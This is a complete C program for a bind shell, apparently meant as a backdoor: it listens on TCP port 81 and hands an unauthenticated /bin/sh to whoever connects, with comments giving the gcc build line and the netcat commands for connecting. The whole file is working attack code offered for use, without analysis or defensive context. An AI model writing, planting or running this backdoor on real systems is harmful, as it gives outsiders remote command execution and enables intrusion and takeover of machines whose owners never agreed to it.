/*  gcc -O2 shellport.c -o shellport */
/* nc -l -p 81 -vvv */

/********************************************
* Shell on a TCP port                       *
* Listens on PORT, shell on connect         *
* run "nc <HOST IP> <PORT>" to connet       *
********************************************/
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define PORT 81

int main(int argc, char *argv[])
{
        int sock = socket(2, 1, 0);
        struct sockaddr_in addr;
        addr.sin_family = AF_INET;
        addr.sin_port = htons(PORT);
        addr.sin_addr.s_addr = 0;
        bind(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr));
        listen(sock, 1);
        int sh = accept(sock, 0, 0);
        dup2(sh, 0);
        dup2(sh, 1);
        dup2(sh, 2);
        execve("/bin/sh", 0, 0);
}